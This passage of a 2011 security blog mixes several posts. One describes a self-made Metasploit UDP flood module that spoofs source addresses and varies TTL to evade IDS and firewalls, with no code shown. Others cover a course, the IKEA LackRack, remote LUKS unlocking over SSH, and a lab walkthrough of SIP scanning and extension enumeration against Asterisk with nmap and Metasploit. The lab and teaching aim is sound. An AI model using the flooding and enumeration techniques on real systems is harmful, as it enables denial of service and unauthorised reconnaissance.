Most of the code is taken from Metasploit TCP SYN Flooder module but I made some more changes besides adapting it to UDP. The same way TTL is changed in each packet, I prefer to change the source (spoofed) address too because of the same reason (IDS/Firewall evasion). Moreover, in this case something to send is needed so I added the new option SIZE which determines the lenght of this random string. Another different thing you could apprecciate is that option SNAPLEN is unregistered too because of having no sense in this module.

Figure: Usage information

Finally, in order to test if module works fine I´m going to sniff the interface and see, with help of Wireshark, what it´s really happening. Next picture shows that everything seems to be working as defined in the description of the attack. :)

Figures: Sniffed packets

Jesús Pérez

Physical Security & Criptography at MSWL 2012

2011-12-15T17:14:03+00:00

Great time at Master Software Libre teaching Physical Security and Cryptography contents this year. Two key areas at Information Security and Privacy.

These lessons were the first ones happening before my usual lessons on Networking, Security Networking and Linux Kernel.

On Physical Security time we worked on well-know physical system security methodologies, together with two new relevant topics: environmental design and design and evaluation of physical protection systems.

It was a lesson covering broad and detailed topics; ranging from designing defensible spaces, where you are able to use different elements and aspects to get natural social control and crime prevention, till a full description of technology and sensor availability to protect different facilities. Security standards or some notes to understand social behaviour (The Bronx study case) were worked out too.

On Cryptography, we walked along its history and development in order to understand cryptographic models and current crytographic systems, free/open software tooling, integration and usual use cases. At the end, everybody got their crypto stuff in place, ready to take part in keysigning parties and next social community events.

Ah! I almost forgot. This year, students will elaborate on the right design to build a safe and secure physical protection system for one embassy.

Some posts on Flu-Project blog

2011-11-22T12:45:00+00:00

I recently wrote two posts (in Spanish) on Flu-Project blog about my recent experience in Hackmeeting 2011 (MeigHacks) and some of the issues I treated during my lecture, including W3af and SQLMap. These are the links:

- De paso por el Hackmeeting 2011
- Badstore, SQLi y otras chicas del montón

Jesús Pérez

IKEA Hackers: LackRack

2011-11-19T22:30:15+00:00

Among the hundreds of hacks from the fantastic website IKEA Hackers, one is particularly interesting.

How to build a rack with an IKEA lack table worth less than 10 euros?
Well, with this manual:

The best of the LackRack (after its price) is that its construction is modular and you can grow it with your needs:

The LackRack is the ultimate, low-cost, high shininess solution for your modular datacenter-in-the-living-room. It is said that Google engineers were the first to explore the idea of using lack tables for data centers. The LackRack is so famous that even has its own website: http://lackrack.org/

Unlocking a LUKS encrypted root partition remotely via SSH

2011-11-01T02:51:03+00:00

If you are thinking on sending a new server to a remote datacenter for colocation or you have rented one or more servers in the cloud, probably you have thought that you would like to encrypt your server’s hard disk.

The problem is that if you encrypt the whole hard disk (the root partition) you will need some kind of KVM to type the password remotely every time the server is restarted … sure??? No!

Thanks to this nifty trick, you can enter the password remotely during the boot process. The trick involves embedding a small ssh server (dropbear) in the initramfs that allows you to enter the password remotely for the root partition at boot time.

For those who are lucky enough to use Debian, the procedure is so simple and easy as ::

1) Install your server with the root partition encrypted.

2) Install the required packages:
apt-get install openssh-server dropbear busybox

3) Copy the SSH key that has been generated automatically
scp root@my.server.ip.addr:/etc/initramfs-tools/root/.ssh/id_rsa ~/id_rsa.initramfs

4) If your server gets the IP address automatically (DHCP) ignore this step, otherwise you have to specify the IP configuration at the Kernel boot line. To do this edit the file /etc/default/grub and define the line:
GRUB_CMDLINE_LINUX="ip=<client-ip>:<server-ip>:<gw-ip>:<netmask>:<hostname>:<device>:<autoconf>"
Using the format specified in the file Documentation/nfsroot.txt of the Linux kernel documentation. For example:
GRUB_CMDLINE_LINUX="ip=192.168.122.192::192.168.122.1:255.255.255.0::eth0:none"
Reload the grub configuration
update-grub

5) Reboot
reboot

6) And unlock remotely!

ssh -o "UserKnownHostsFile=~/.ssh/known_hosts.initramfs" \
	-i "~/id_rsa.initramfs" root@my.server.ip.addr \
	"echo -ne \"MyS3cr3tK3y\" >/lib/cryptsetup/passfifo"

And for those not lucky enough to use Debian, and also for those who have such luck, but want more details on this procedure, I am pasting here the archive cryptsetup/README.remote from Debian that I am sure that you will find very useful

$ zcat /usr/share/doc/cryptsetup/README.remote.gz

unlocking rootfs via ssh login in initramfs
-------------------------------------------

You can unlock your rootfs on bootup from remote, using ssh to log in to the
booting system while it's running with the initramfs mounted.

Setup
-----

For remote unlocking to work, the following packages have to be installed
before building the initramfs: dropbear busybox

The file /etc/initramfs-tools/initramfs.conf holds the configuration options
used when building the initramfs. It should contain BUSYBOX=y (this is set as
the default when the busybox package is installed) to have busybox installed
into the initramfs, and should not contain DROPBEAR=n, which would disable
installation of dropbear to initramfs. If set to DROPBEAR=y, dropbear will
be installed in any case; if DROPBEAR isn't set at all, then dropbear will only
be installed in case of an existing cryptroot setup.

The host keys used for the initramfs are dropbear_dss_host_key and
dropbear_rsa_host_key, both located in/etc/initramfs-tools/etc/dropbear/.
If they do not exist when the initramfs is compiled, they will be created
automatically. Following are the commands to create them manually:

# dropbearkey -t dss -f /etc/initramfs-tools/etc/dropbear/dropbear_dss_host_key
# dropbearkey -t rsa -f /etc/initramfs-tools/etc/dropbear/dropbear_rsa_host_key

As the initramfs will not be encrypted, publickey authentication is assumed.
The key(s) used for that will be taken from
/etc/initramfs-tools/root/.ssh/authorized_keys.
If this file doesn't exist when the initramfs is compiled, it will be created
and /etc/initramfs-tools/root/.ssh/id_rsa.pub will be added to it.
If the latter file doesn't exist either, it will be generated automatically -
you will find the matching private key which you will later need to log in to
the initramfs under /etc/initramfs-tools/root/.ssh/id_rsa (or id_rsa.dropbear
in case you need it in dropbear format). Following are the commands to do the
respective steps manually:

To create a key (in dropbear format):

# dropbearkey -t rsa -f /etc/initramfs-tools/root/.ssh/id_rsa.dropbear

To convert the key from dropbear format to openssh format:

# /usr/lib/dropbear/dropbearconvert dropbear openssh \
	/etc/initramfs-tools/root/.ssh/id_rsa.dropbear \
	/etc/initramfs-tools/root/.ssh/id_rsa

To extract the public key:

# dropbearkey -y -f /etc/initramfs-tools/root/.ssh/id_rsa.dropbear | \
	grep "^ssh-rsa " > /etc/initramfs-tools/root/.ssh/id_rsa.pub

To add the public key to the authorized_keys file:

# cat /etc/initramfs-tools/root/.ssh/id_rsa.pub >> /etc/initramfs-tools/root/.ssh/authorized_keys

In case you want some interface to get configured using dhcp, setting DEVICE= in
/etc/initramfs-tools/initramfs.conf should be sufficient.  The initramfs should
also honour the ip= kernel parameter.
In case you use grub, you probably might want to set it in /boot/grub/menu.lst,
either in the '# kopt=' line or appended to specific 'kernel' line(s).
The ip= kernel parameter is documented in Documentation/nfsroot.txt in the
kernel source tree.

Issues
------

Don't forget to run update-initramfs when you changed the config to make it
effective!

Collecting enough entropy for the ssh daemon sometimes seems to be an issue.
Startup of the ssh daemon might be delayed until enough entropy has been
retrieved. This is non-blocking for the startup process, so when you are at the
console you won't have to wait for the sshd to complete its startup.

Unlocking procedure
-------------------

To unlock from remote, you could do something like this:

# ssh -o "UserKnownHostsFile=~/.ssh/known_hosts.initramfs" \
	-i "~/id_rsa.initramfs" root@initramfshost.example.com \
	"echo -ne \"secret\" >/lib/cryptsetup/passfifo"

This example assumes that you have an extra known_hosts file
"~/.ssh/known_hosts.initramfs" which holds the cryptroot system's host-key,
that you have a file "~/id_rsa.initramfs" which holds the authorized-key for
the cryptroot system, that the cryptroot system's name is
"initramfshost.example.com", and that the cryptroot passphrase is "secret"

-- <debian@x.ray.net>, Wed, 30 Sep 2009

VoIP Information Gathering: Metasploit

2011-09-14T11:51:00+00:00

Information gathering is the stage of a penetration test when the attacker tries to collect as much information as possible about the target. This step is normally composed for footprinting and fingerprinting but, in the case of VoIP systems, we should add extension enumeration to the list. During this last step attacker will attempt to obtain valid extensions/users of the target system.

Footprinting & Fingerprinting

My favourite tools for these jobs are FOCA and Nmap, it´s a bit strange combination but it fits for me :). FOCA automates almost all the “dirty job” and it is the best with public documents metadata, while Nmap flexibility let me confirm manually all these discovered stuff. Moreover, in the case of SIP Protocol, FOCA also is able to obtain more information from target DNS SRV records, they work in a similar way during a call that MX ones for mailing. Next picture taken from the blog of its “father” shows an example of them.

Figure: Adobe SRV records

NOTE: FOCA it is not GPL, it´s only free as in free beer but, in my opinion, there is no replacement for the moment.

There are some other specific tools for VoIP which complement classic ones discussed above. I´m going to focus on Metasploit modules because Sipvicious set of tools, which is the most used for this tasks and works in a very similar way, is a lot of documented over the net. These VoIP specific scans reduce strongly the time in comparison of nmap because they send specific SIP request UDP packets instead of ICMP ones. In this post we can find a complete explanation of that and here is exposed how nmap UDP scan works. You can compare it (nmap -sU -p 5060 -sV TARGET) and check that the speed difference is really huge. One important advantage of Metasploit over Sipvicious is the support of threading which could speed up still more the process.

So, at this point, we are ready to start scanning a testing environment formed by an Ubuntu 11.04 laptop hosting two virtual machines, connected in NAT mode:
- Backtrack 5 R1 box simulating bad guy.
- Debian Squeeze box with a basic installation of Asterisk 1.6.2.9-2 and only 101 and 102 extensions allowed.

There are not too much Metasploit modules involving VoIP but we already have auxiliaries needed for SIP scanning and extension enumeration as showed in the picture:

Figure: Metasploit SIP related modules

Now, I´m going to use Armitage (sorry guys, I like GUIs :P) in order to scan my network using "SIP scan (UDP)" (auxiliary/scanner/sip/options) module. It supports only OPTIONS scanning but it is enough for being the most realiable type. In fact, INVITE scan could be noisy and produce a "ring” at the other end. If you are interested in all these subjects and how they work more in depth I recommend you (as always) “VoIP Haking Exposed” book.

You only have to specify the target for configure the module, next images show the steps and the correct result.

Figure: Module configuration

Figure: Scan result

Extension enumeration

Instead of explaining how this attack works in a theorethical way (diagrams and all this stuff) I´m going to refer you to the book and show a situation which helps to understand because user/extension enumeration is possible. Firstly I will try to connect my Ekiga softphone to Asterisk server with a non existent user:

Figure: Bad user account configuration

Figure: Bad login result

Ok, Asterisk didn´t allow the connection, now we are going to try with an existent user and bad password:

Figure: Correct user and bad password configuration

Figure: “Not bad” login result

The response is different in both cases so, as you can imagine at this point, we could easily identify different extensions. In order to automate this attack we can use “SIP Username Enumerator (UDP)” module (scanner/sip/enumerator) which supports REGISTER and OPTIONS scan (METHOD module parameter). Really it is a Brute-force attack trying specified extensions, so it is very important to specify PADLEN argument, if not, you could obtain a very long list of non-existent extensions. In my case I choose PADLEN equal to 3 because extensions are 101 and 102, I also modifed MAXENT to fit with it.

Figure: Enumerator module configuration

Figure: REGISTER extension enumeration result

Figure: OPTIONS extension enumeration result

As you can see I got different results, on one side OPTIONS scan identified extensions 500 (Asterisk demo) and 600 (echo demo) and REGISTER scan got real extensions on the other. So it would be necessary to use both types during a pentest process.

At this moment Metasploit does not support Asterisk Exchange protocol (this is also part of VoIP protocols as SIP) scan. We have enumIAX and iaxscan classic tools, but we are only focus in SIP protocol at this time.

Information gathering coutermeasurements is a very interesting subject but I think it is enough for today, typical solutions are Fail2ban combined with Iptables and other specific tools for each type of VoIP system.

Jesús Pérez